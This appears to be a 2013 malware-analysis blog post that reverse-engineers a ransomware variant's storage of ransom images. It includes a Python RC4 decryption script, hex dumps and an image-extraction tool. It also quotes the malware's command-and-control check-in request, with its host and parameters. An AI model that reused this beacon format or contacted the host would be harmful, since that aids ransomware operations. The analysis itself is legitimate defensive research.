Update of the technique used by Rannoh/Matsnu to store the images (version of January 2013)

Published on 2013-02-08 14:00:00.

Someone sent me a new version of the “Rannoh” ransomware. I’ve been told that this sample does not use a CAB file to store the ransom pictures but instead it uses a custom compression algorithm (it may already be known but I could not identify it). Beside this difference, the crypto used for the network communication is the same one used in the sample we previously analyzed. It looks like they have changed their encryption strategy and now use RSA.

Sample md5

Unpack version md5

Code “obfuscation”

This sample uses some new tricks to make its injection easier and to slow down the static analysis.

As you can see, IDA fails on this part:

image

So to have a correct code, we have to unset the instruction after the retn

image

In my .idb, I patch the “jb” instruction to “jmp” in order to jump to the good part (is not mandatory)

Compression

We get the network pcap file and the interesting part lies in the first request with the “ppc” command.

GET /una/SF6344-GWXS-WEQOZ6.php?ltype=lk&id=XXXXX09B4CXXXXX53344&ver=02.052&win=Windows_XP_(32_bit)&loc=0x0407&cmd=pcc HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0; .NET CLR 1.0.2914)
Host: 397110121001i83455512377.com
Connection: Keep-Alive
Cache-Control: no-cache

We managed to recover the data and decrypt it using RC4. The key used to decrypt is the value within the “id” parameter (XXXXX09B4CXXXXX53344 in this case).

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from Crypto.Cipher import ARC4
from Crypto.Hash import MD5

import sys

if __name__ == "__main__":
    key = sys.argv[1]
    data = open(sys.argv[2]).read()
    salt = "QQasd123zxc"
    key_hash = MD5.new(key + salt).digest()
    rc4 = ARC4.new(key_hash)
    sys.stdout.write(rc4.decrypt(data))

./rc4.py XXXXX09B4CXXXXX53344 SF6344-GWXS-WEQOZ6.p.867766A9.html | hd | head
00000000  49 4d 41 47 45 53 3a 4b  37 ff 84 be 62 a6 98 79  |IMAGES:K7...b..y|
00000010  f9 8c e5 0f fe a5 24 4c  5a 57 21 53 75 03 00 9d  |......$LZW!Su...|
00000020  de ea 7b 80 00 20 2d aa  b2 00 01 1c 14 40 4e 4f  |..{.. -......@NO|

As for the previous variant, we have the “IMAGES” command followed by the MD5 hash. We removed the first 24 characters and retrieved the content.

tail -c+24 decrypt.out | hd | head
00000000  4c 5a 57 21 53 75 03 00  9d de ea 7b 80 00 20 2d  |LZW!Su....... -|
00000010  aa b2 00 01 1c 14 40 4e  4f 08 08 50 69 01 f0 84  |......@NO..Pi...|
00000020  62 29 1c 89 46 a3 01 50  50 20 02 00 8f fb 01 fe  |b)..F..PP ......|
00000030  40 1a 20 10 96 89 26 92  c9 f0 80 48 00 1e 49 a6  |@. ...&....H..I.|
00000040  d2 c9 ff 06 7f d6 6f f6  1a fd 86 3f 51 9b 23 e4  |......o....?Q.#.|
00000050  33 fb 0d fe 83 6e 5f d0  6f ca fa 0d 9e 83 2b a0  |3....n_.o.....+.|
00000060  db 61 94 08 e9 58 04 61  98 1a 02 05 02 41 40 d0  |.a...X.a.....A@.|
...
tail -c+24 decrypt.out > decrypt.out.1
file decrypt.out.1
decrypt.out.1: MS-DOS executable (built-in)

As I noticed the “LZW” string I thought that the LZW algorithm was used but after trying different codes and tools (with different offsets) nothing worked. ( note that file command failed )

So I unpacked the sample and fired-up IDA to find the function in charge of the decompression.

This part looked interesting since the function checks if the cmd is IMAGES and does some processing on it.

image

The function GetDecompressedLen (40E692h) checks the tag LZW! and reads a DWORD after that, this is the final len.

image

To produce a code to decompress data I have exported the ASM code from IDA and extracted the function. It may also be possible to directly rip the code and use it as a shellcode (but it should be patched before, …). After a few modifications the code can we compiled with yasm (and forcing the tasm syntax).

Code available here

Pictures

After decompressing the data, it backups the encrypted file and call the function InitImageStruct (40A4FFh).

image

This function is in charge to:

image

hd decrypt.out.1.dec | head
00000000  01 00 00 00 b6 d5 02 00  71 28 00 00 9c 1e 00 00  |........q(......|
00000010  50 58 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |PX..............|
00000020  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
00000040  0a 05 01 08 00 00 00 00  ff 03 ff 02 2c 01 2c 01  |............,.,.|
00000050  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|

The pattern:

------------ ------------ ----------------------
**Offset**   **Value**    **Comment**
0x01         0x000001     match dwImgAvailable
0x04         0x0002d5b6   len of picture 1
0x08         0x00002871   len of picture 2
0x0b         0x00001e9c   len of picture 3
0x0f         0x00005850   len of picture 4
0x40                      data of picture 1
0x40+0x0002d5b6           data of picture 2
...
----------------- -- -------------------

image

If we search for a reference to one of these pointers, we found this interesting function PaintImg (40C4CAh) which is in charge of loading the picture and display it on the screen

image

As you can see, it uses the win GDI function to get a hDC and call the function LoadImgInHdc (40CD75h). This function is in charge of re-building the picture by setting pixels one by one using the function SetPixel.

The function follows this prototype:

int LoadImgInHdc(HDC hdc, char *picture, int picture_len, int, int, int);

As before, I decide to export the asm and compile it directly with yasm.

and the output

wine extract_pic.exe decrypt.out.1
final size 226643
save image_0.bmp (768x1024)
save image_1.bmp (120x400)
save image_2.bmp (120x400)
save image_3.bmp (1x1878)

Code available image

Image 1: image

Image 2: image

Image 3: image

I finally re-write the extract_img in python. It do not manage the decompression part and failed on the last image due to a litle bug and do not have time to fix it.

Output:

./python extract_pic.py decrypt.out.1.dec
extract image_1.png
extract image_2.png
extract image_3.png
failed to extract image_4.png

The source code:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from PIL import Image, ImageDraw
from struct import pack, unpack

def DWORD(data, offset):
    return unpack('<I', data[offset:offset+4])[0]

def WORD(data, offset):
    return unpack('<H', data[offset:offset+2])[0]

def reconstruct_img(data):
    length = len(data) - 1 # do not know why

    # palette start at length - palette_len
    palette_len = 0x301

    # format check??
    if ord(data[2]) != 1 or ord(data[3]) != 8 or ord(data[65]) != 1:
        return None

    if length < palette_len:
        return None

    height = WORD(data, 0xa) + 1 # do not why
    #width = WORD(data, 0x8) + 1 # same value in two place?
    width = WORD(data, 0x42)

    palette_offset = length - palette_len

    # secure check??
    a = ord(data[palette_offset])
    if a != 12 and a != 10:
        return None

    img = Image.new('RGB', (width, height))
    pixels = img.load()

    cur_offset = 128
    X = Y = 0

    while cur_offset < palette_offset:
        index_color_offset = cur_offset
        i = ord(data[cur_offset])
        if i >= 0xC0:
            i = i & 0x3f
            cur_offset += 2
            index_color_offset += 1
        else:
            cur_offset += 1
            i = 1

        index_color_offset = ord(data[index_color_offset])
        color = DWORD(data, palette_offset + 1 + (index_color_offset*3)) & 0xFFFFFF
        while i:
            if X == width:
                X = 0
                Y += 1

            #print "%d,%d = %08x" % (X, Y, color)
            pixels[X,Y] = color
            X += 1
            i -= 1

    return img

if __name__ == "__main__":
    fp = open(sys.argv[1])

    i = 4
    a_lens = fp.read(0x40)

    while i < 0x40:
        length = DWORD(a_lens, i)
        if length == 0:
            break
        filename = "image_%d.png" % (i/4)
        i += 4

        data = fp.read(length+1)
        fp.seek(-1, 1)
        img = reconstruct_img(data)
        if img == None:
            print "failed to extract %s" % filename
            continue

        img.save(filename, "png")
        print "extract %s" % filename

Conclusion

Is not very usefull but that was to keep in shape.